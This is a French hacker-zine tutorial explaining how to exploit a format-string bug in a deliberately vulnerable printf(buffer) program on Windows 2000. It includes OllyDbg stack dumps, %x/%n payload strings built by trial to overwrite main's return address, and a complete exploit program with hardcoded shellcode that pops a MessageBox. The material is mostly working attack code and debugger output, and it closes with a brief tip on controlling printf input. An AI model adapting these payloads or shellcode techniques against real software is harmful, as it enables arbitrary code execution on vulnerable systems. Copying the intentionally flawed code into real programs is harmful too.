                                                         |                      
   ,--.,    x           .           __^__              -=*=-                    
 ,' NG  \                      ---   "`-.                |       .     ;        
| MOON  T|      +            -   --  | }`       `                               
| /X@  BG|          x         --     / /--.                                     
 \     H/                  -     ===/  \===E                w    {\_/}    w     
  `'--'`    ,        .       ---   /   /         *          /`-_.-{"}-._-'\     
                                  `---`                    / ,    '?'    , \    
    ,         _.-.,,          ,                     x     / / \./;"-";\./ \ \   
   -+-      -`  .|.,,`'-.,,_               ,              '`_-`         `',`'   
    `    ,-` ,-` |\  ``'-.,,_''--,                         /               \    
       ,'  -`  \\\\\.,       `''-/,',   ,,,,,,,,,,,,,,    |       BY        |   
_  __ /- -'   \\`   X `     /`--   `','.,             ',,,|                 |, _
 ``  '| `. ', \|  X v` |  // ^--``\_, `','.,              |                 | ` 
      |   `. `.`.   -` `\//  /` ``\  ;-  `',`-,           |-=[ Ivanlef0u ]=-|   
      |     `. `.='-'` \  `-/  /  .`;\|     `'.`',        |                 |   
      |       '/..````/.\,  ```\/`  .          `'.`'.,    |                 |   
      |-=[1O]=-|  ``'-,,  `''.,,``-/` _/`\        `'.,'., |                 |   
      \_       |        ``'.,,  `'-.,/  . `\_         '.,`-,                |   
       ``.     |              ``'.,,  `'-,,  ``---.      '.,`',             |   
          `,   |   -=[              `''.,, ``'.,,-/``--.,   `.,`'.,         |   
            ', |           Format         `'-.,_ `''.,.  `|    `-, '.-------    
              '\,_                              `'-.,_ `'-.`_     `_.-`-.       
  |\-.,,          ``-.,_          String              `'-.,  `'+-'`.-`` |       
'`      ', ,|\.,        ``-.,_             Win     ]=-     ``'-|'`      |       
  V   V  ,'     `\            `'-.,_                           |        |       
    L _|\-.,7  7  |                 `'-.,      |\-/|         /;|        |       
 `--,'       `../ |                      ``'-. |o o|_ --. ,-`/ |        |       
.  |   G   G   | /                            `-=+=- `   ` /`  |      ,-/       
 `'|  ., ` ,.  |``````''-.,                     `\, .--_  |    |  ,-'`          
    ', \`=`/ ,`            `',,                   |/   ; / ``'--'`      _,,.----
      `''--'`                  `-,,               ||   ||           ,.-`        
                                   ```''-------___"____"______,--''`            
-=[Aka : AAAAAAAAAAAAAAAAAAAAAAAAA Again! ]=-                          




Exploitation des bugs de format under windows
---------------------------------------------

1:Intro 
-------

Qu'est-ce qu'un bug de format?


Un  bug  de  format survient lorsque l'on essai d'afficher une valeur sans en 
preciser le type.  Le  plus  frequemment  cela  intervient  avec  la fonction 
printf.  Il faut savoir qu'il y a plusieurs facon d'afficher un texte avec la 
fonction printf, soit l'on precise le type et la tout ce passe bien, par ex:

int moi=4;
printf("%d\n",moi);
Cela nous affichera bien le chiffe 4.

Mais  on  peut  aussi etre plus fenéant et laisser la fonction ce debrouiller 
elle meme comme la:

char moi[]="moi";
printf(moi);

On aura donc en sortie "moi", en fait si l'on ne précise pas le  type  printf 
considère que c'est une string que l'on veut afficher.

Il existe differents type de ce que l'on peut afficher:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_printf_type_field_characters.asp

Character       Type    Output format
c       int or wint_t   When used with printf functions, specifies a 
                        single-byte character; when used with wprintf functions, 
                        specifies a wide character.
C       int or wint_t   When used with printf functions, specifies a wide 
                        character; when used with wprintf functions, specifies 
                        a single-byte character.
d       int     Signed decimal integer.
i       int     Signed decimal integer.
o       int     Unsigned octal integer.
u       int     Unsigned decimal integer.
x       int     Unsigned hexadecimal integer, using "abcdef."
X       int     Unsigned hexadecimal integer, using "ABCDEF."
e       double  Signed value having the form [ – ]d.dddd e [sign]ddd where 
                d is a single decimal digit, dddd is one or more decimal 
                digits, ddd is exactly three decimal digits, and sign is 
                + or –.
E       double  Identical to the e format except that E rather than e 
                introduces the exponent.
f       double  Signed value having the form [ – ]dddd.dddd, where dddd 
                is one or more decimal digits. The number of digits 
                before the decimal point depends on the magnitude of the 
                number, and the number of digits after the decimal point 
                depends on the requested precision.
g       double  Signed value printed in f or e format, whichever is more 
                compact for the given value and precision. The e format 
                is used only when the exponent of the value is less than 
                –4 or greater than or equal to the precision argument. 
                Trailing zeros are truncated, and the  decimal point 
                appears only if one or more digits follow it.
G       double  Identical to the g format, except that E, rather than e, 
                introduces the exponent (where appropriate).
n       Pointer to integer      Number of characters successfully written 
                so far to the stream or buffer; this value is stored in 
                the integer whose address is given as the argument.
p       Pointer to void         Prints the address of the argument in 
                hexadecimal digits.
s       String  When used with printf functions, specifies a 
                single-byte–character string; when used with wprintf 
                functions, specifies a wide-character  string. Characters 
                are printed up to the first null character or until the 
                precision value is reached.
S       String  When used with printf functions, specifies a 
                wide-character string; when used with wprintf functions, 
                specifies a single-byte–character string. Characters are 
                printed up to the first null character or until the 
                precision value is reached.
Note   If the argument corresponding to %s or %S is a null pointer, "(null)" 
       will be printed.


En fait nous allons voir que si le programmeur ne controle pas ce que affiche 
printf  il  y  moyen d'exploiter cela. Sous linux cette technique etant connu 
depuis longtemps mais  sous  win  je  n'ai  trouvé  que  tres peu de choses y 
faisait allusion c'est  pourquoi  j'ai  pensé  qu'il  était  interessant d'en 
parler.


2: Format bugs ,where are you ??
--------------------------------

Je  previens  dès  le  depart  que  les  valeurs  que je trouve ne serons pas 
forcément les memes  que  vous.  J'utilise  Borland C++ 5.5 pour compiler mes 
progs et je suis sous Microsoft Windows 2000 [Version 5.00.2195]   avec   les 
dernières mises a jours (celles de 10/2005).


Voici un code vulnerable:

------------Cut Here-----------------
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buffer[512]="";
if (argc != 2)
return -1;
strncpy(buffer,argv[1],500);//le bof est impossible a cause du strncpy
        printf(buffer);                                //la vuln se situe ici
        return 0;
}
------------Cut Here-----------------


Alors si on essaye de mettre en argv: %x que se passe t'il  ?  voici  ce  qui 
ressort:
0      
wtf ?? d'ou qu'il sort lui. Explications lorsque l'on donne %x en argument  a
printf , celle ci  va afficher ce qui se trouve sur le haut de la stack voici 
l'état  de  la  stack  lors  de  l'appel  a  printf (break sur le printf avec 
ollydbg):

esp=0012FD80

0012FD80   0012FD8C  \Arg1 = 0012FD8C ASCII "%x"
0012FD84   00000000
0012FD88   0040A0B8  vuln.0040A0B8
0012FD8C   00007825  :correspont a %x
0012FD90   00000000

Notre texte en copié dans la stack a partir de l'adresse 0012FD8C.  vuln  est 
le nom de mon .exe vulnerable.

On  peut  voir  l'argument a l'adresse 12FD80 et juste en dessous le fameux 0 
voila d'ou il vient.si l'on met %x%x en argv l'on a en sortie:
040a0b8
ce qui correspond bien a la stack. De plus si l'on met en argv: 
aaaa%x%x%x l'on a:
aaaa040a0b861616161 


les 4 'a' sont affichés suivis des valeurs "pointés" par les 3 %x que l'on  a 
entré et  des  61616161  qui  sont  nos  'a'  mit  dans  le  buffer la stack. 
J'utiliserais le mot "pointé" car  il  ne s'agit pas reellement d'un pointeur 
mais c'est le terme le plus approprier que j'ai trouvé  Il  s'agit plutot des 
arguments que l'on devrait donner aux differents %x.

a ce moment la stack est comme ceci:

0012FD80   0012FD8C  \Arg1 = 0012FD8C ASCII "aaaa%x%x%x"
0012FD84   00000000
0012FD88   0040A0B8  vuln.0040A0B8
0012FD8C   61616161
0012FD90   78257825
0012FD94   00007825
0012FD98   00000000

c'est en 12FD8C qu'est situé le buffer. (je répète pour ceux qui s'endorment)

3 How to exploit this ?
----------------------

L'opérateur le plus intéressant (pour nous :)) est certainement %n, celui  ci 
ecrit a  l'empacement  memoire  "pointer  par le printf" le nombre d'elements 
affichés avec lui :p par l'exemple c'est plus simple. Si l'on entre:

aaaa%x%x%n


les 2 %x font que le %n va tenter d'ecrire a l'adresse  61616161  la  valeur:
4+7=11 le 4 c'est les 4 'a' que l'on a entré et le 7 c'est la stack 

0012FD84   00000000 //1 caratere ici 0
0012FD88   0040A0B8  //6 carateres 
0012FD8C   61616161 //l'addr de notre %n

Alors si on cogite  bien  fort.  Imaginons  que  nous  tendions  d'incrire  a 
l'adresse  de   retour   de  notre  fonction  main  l'adresse de notre buffer 
contenant un shellcode, on aura réussi a detourner notre prog.

0012FF90   00407D1A  RETURN to vuln.00407D1A //c'est ici que se situe le  RET 
                                             //du main

Il faut donc qu'on écrive a l'adresse 0012FF90 la valeur 0012FD8C 

Le  plus  chaud  c'est  de  calculer parfaitement parce que il faut foutre un 
shellcode de n octets  que  le  printf "pointe" sur l'adrr a laquelle on veut 
ecrire et que  la  nbr  de  caractères  soit egal a l'adresse de notre buffer 
......(mal a la tete la ?? prenez une aspirine ..!)

Pour simplifier vla l'erreur qu'on retrouve avec ollydbg:

004043BD  |. 890A           |MOV DWORD PTR DS:[EDX],ECX

EDX=61616161
ECX=0000000B //11 le nbr de caract affiches

Alors voila a quoi doit ressembler notre truc:

[shellcode][%x..%x][%nx][%n][addr du ret ds la stack]



pour respecter le nbr de carratères affiches on va utiliser une technique  de 
chinois c'est a  dire que l'on va faire %nx ou le n correspond a la precision 
de l'affichage, c'est comme  si on simulait des lettres quoi. Si on fait %20x 
on va avoir dans notre ECX la valeur 0x14.

Mon shellcode fait 54 octets (hardcode) il faut donc combler avec 2 'A'  pour
obtenir un multiple de 4 apres faut bien calculer. alors l'on  a 56/4=14 %x a 
foutre pour depasser le shellcode plus les 2 qui sont avant le buffer sa fait 16
 
AAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n
les 'a' représentent le shellcode et les 'A' sont du padding.

0012FD80   0012FD8C  Œý.  \Arg1 = 0012FD8C ASCII "AAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n"
0012FD84   00000000  ....
0012FD88   0040A0B8  ¸ @.  vuln.0040A0B8
0012FD8C   61614141  AAaa
0012FD90   61616161  aaaa
0012FD94   61616161  aaaa
0012FD98   61616161  aaaa
0012FD9C   61616161  aaaa
0012FDA0   61616161  aaaa
0012FDA4   61616161  aaaa
0012FDA8   61616161  aaaa
0012FDAC   61616161  aaaa
0012FDB0   61616161  aaaa
0012FDB4   61616161  aaaa
0012FDB8   61616161  aaaa
0012FDBC   61616161  aaaa
0012FDC0   61616161  aaaa
0012FDC4   78257825  %x%x *
0012FDC8   78257825  %x%x
0012FDCC   78257825  %x%x
0012FDD0   78257825  %x%x
0012FDD4   78257825  %x%x
0012FDD8   78257825  %x%x
0012FDDC   78257825  %x%x
0012FDE0   78257825  %x%x
0012FDE4   00006E25  %n..
0012FDE8   00000000  .... **


Le  gros  probleme  c'est  que il faut trouvé la juste mesure entre le nbr de 
'%x' et l'adresse qu'il font "pointer" a printf je m'explique ici avec nos 16 
'%x' ,EDX vaut 78257825 (voir *) alors que nous ce que l'on veut c'est tomber 
au ** pour mettre notre adr du ret .... Vi  je  sais c'est prise de tete mais 
j'essaye d'expliquer du mieux que je peut.

Alors en procedant par tatonnement (ya pas de honte nan mais!)
on arrive a:
BBAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nbbb

J'ai rajouté 2 'B' avec de faire du padding afin de parfaitement aligner  les 
bytes dans la stack.

0012FD80   0012FD8C  \Arg1 = 0012FD8C ASCII "BBAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%nbbb"
0012FD84   00000000
0012FD88   0040A0B8  vuln.0040A0B8
0012FD8C   41414242
0012FD90   61616161
0012FD94   61616161
0012FD98   61616161
0012FD9C   61616161
0012FDA0   61616161
0012FDA4   61616161
0012FDA8   61616161
0012FDAC   61616161
0012FDB0   61616161
0012FDB4   61616161
0012FDB8   61616161
0012FDBC   61616161
0012FDC0   61616161
0012FDC4   78256161
0012FDC8   78257825
0012FDCC   78257825
0012FDD0   78257825
0012FDD4   78257825
0012FDD8   78257825
0012FDDC   78257825
0012FDE0   78257825
0012FDE4   78257825
0012FDE8   78257825
0012FDEC   78257825
0012FDF0   78257825
0012FDF4   78257825
0012FDF8   78257825
0012FDFC   78257825
0012FE00   78257825
0012FE04   78257825
0012FE08   6E257825
0012FE0C   00626262



voila avec ca notre EDX vaudra 62626262, donc on peut dire a quelle  adrresse 
doit ecrire le prog. Ban  c'est  pas  fini il faut maintenant que le ecx vale 
l'adresse de notre buffer qui est  0012FF90 alors pour ca on va devoir encore 
modifier tout le truc.  On va utilisé ce que j'ai dit plus haut, c'est a dire 
qu'avec un %n on va faire augmenté la  valeur  de  ECX  jusqu'a  quelle  vale 
l'addr  de  notre  buffer (ici 12FD8C).  Alors  en  bidouillant   encore   et 
toujours...on obtient:

BAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%1244220x%nbbb

on a 37 %x

0x0012FD8C=1244556 
on entre 56 carratères.

il ya 37 %x dont 2 servent pour les  7  premiers  carratères  et  les  autres 
affichent  8  carratères  sauf  le dernier qui en affiche n (le nbre que l'on 
veut déterminer). ce qui fait 8*34+7 caracteres affichés par les %x.

n=124556-57-7-8*34=1244220.

0012FD80   0012FD8C  Œý.  \Arg1 = 0012FD8C ASCII "BAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%1244220x%nbbb"
0012FD84   00000000  .... ----
0012FD88   0040A0B8  ¸ @.  vuln.0040A0B8
0012FD8C   61414142  BAAa
0012FD90   61616161  aaaa
0012FD94   61616161  aaaa
0012FD98   61616161  aaaa
0012FD9C   61616161  aaaa
0012FDA0   61616161  aaaa
0012FDA4   61616161  aaaa
0012FDA8   61616161  aaaa
0012FDAC   61616161  aaaa
0012FDB0   61616161  aaaa
0012FDB4   61616161  aaaa
0012FDB8   61616161  aaaa
0012FDBC   61616161  aaaa
0012FDC0   61616161  aaaa
0012FDC4   25782561  a%x%
0012FDC8   25782578  x%x%
0012FDCC   25782578  x%x%
0012FDD0   25782578  x%x%
0012FDD4   25782578  x%x%
0012FDD8   25782578  x%x%
0012FDDC   25782578  x%x%
0012FDE0   25782578  x%x%
0012FDE4   25782578  x%x%
0012FDE8   25782578  x%x%
0012FDEC   25782578  x%x%
0012FDF0   25782578  x%x%
0012FDF4   25782578  x%x%
0012FDF8   25782578  x%x%
0012FDFC   25782578  x%x%
0012FE00   25782578  x%x%
0012FE04   25782578  x%x%
0012FE08   25782578  x%x%
0012FE0C   32312578  x%12
0012FE10   32323434  4422
0012FE14   6E257830  0x%n ---
0012FE18   00626262  bbb.



Voila le sploit qui réalise tout ca:
------------Cut Here-----------------
#include <stdio.h>
#include <windows.h>
#include <string.h>

int main()
{
char shellcode[]="\x8B\xEC\x53\x57\x8B\xEC\x83\xEC\x0C\xC7\x45\xF4"
"\x4d\x69\x6E\x64"  //Mind
"\xC7\x45\xF8"
"\x6B\x69\x6E\x64"  //kind
"\xC7\x45\xFC"
"\x21\x72\x6F\x78" //!rox
"\x33\xDB"
"\x8D\x45\xF4\x53\x50\x50\x53\xBB"
"\x81\x3D\xE0\x77" //Addr de MessageBox dans USER32.dll
"\xFF\xD3\x57\xBB\xBE\x69"
"\xE9\x77\xFF\xD3"; //Addr de ExitProcess ds KERNEL32.dll

char buffer[500]="vuln ";
char buff1[]="AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x";

strcat(buffer,shellcode);
strcat(buffer,buff1);
strcat(buffer,"%1244220x%n\x90\xFF\x12");

system(buffer);
return 0;
}
------------Cut Here-----------------

Voici l'état de la stack avec le sploit:

0012FD80   0012FD8C  \Arg1 = 0012FD8C
0012FD84   00000000
0012FD88   0040A0B8  vuln.0040A0B8
0012FD8C   5753EC8B
0012FD90   EC83EC8B
0012FD94   F445C70C
0012FD98   646E694D
0012FD9C   6BF845C7
0012FDA0   C7646E69
0012FDA4   7221FC45
0012FDA8   DB33786F
0012FDAC   53F4458D
0012FDB0   BB535050
0012FDB4   77E03D81  USER32.MessageBoxA
0012FDB8   BB57D3FF
0012FDBC   77E969BE  KERNEL32.ExitProcess
0012FDC0   4141D3FF
0012FDC4   25782541
0012FDC8   25782578
0012FDCC   25782578
0012FDD0   25782578
0012FDD4   25782578
0012FDD8   25782578
0012FDDC   25782578
0012FDE0   25782578
0012FDE4   25782578
0012FDE8   25782578
0012FDEC   25782578
0012FDF0   25782578
0012FDF4   25782578
0012FDF8   25782578
0012FDFC   25782578
0012FE00   25782578
0012FE04   25782578
0012FE08   25782578
0012FE0C   32312578
0012FE10   32323434
0012FE14   6E257830
0012FE18   0012FF90


Le shellcode correspont a:
0012FD8C   8BEC             MOV EBP,ESP
0012FD8E   53               PUSH EBX
0012FD8F   57               PUSH EDI
0012FD90   8BEC             MOV EBP,ESP
0012FD92   83EC 0C          SUB ESP,0C
0012FD95   C745 F4 4D696E64 MOV DWORD PTR SS:[EBP-C],646E694D
0012FD9C   C745 F8 6B696E64 MOV DWORD PTR SS:[EBP-8],646E696B
0012FDA3   C745 FC 21726F78 MOV DWORD PTR SS:[EBP-4],786F7221
0012FDAA   33DB             XOR EBX,EBX
0012FDAC   8D45 F4          LEA EAX,DWORD PTR SS:[EBP-C]
0012FDAF   53               PUSH EBX
0012FDB0   50               PUSH EAX
0012FDB1   50               PUSH EAX
0012FDB2   53               PUSH EBX
0012FDB3   BB 813DE077      MOV EBX,USER32.MessageBoxA
0012FDB8   FFD3             CALL EBX
0012FDBA   57               PUSH EDI
0012FDBB   BB BE69E977      MOV EBX,KERNEL32.ExitProcess
0012FDC0   FFD3             CALL EBX



Voila  voila  alors oui je sais exploiter un format string sous windows c'est 
pas simple mais  on peut voir que rien n'est inexploitable ;). Pour éviter ce 
genre de bug le plus est de tjrs  controlé ce qui est affiché par printf() et 
d'autre fonction du meme genre evidemment :)  J'espère que cet article vous a 
plu, meme si parfois je me perd dans mes explications je pense  que vous avez 
compris une bonne partie 

Reference
---------
Windows 2000 Format String Vulnerabilities 
http://www.nextgenss.com/papers/win32format.doc


Contact
-------
mail: ivanlef0u119@yahoo.fr
website: http://membres.lycos.fr/moi118118/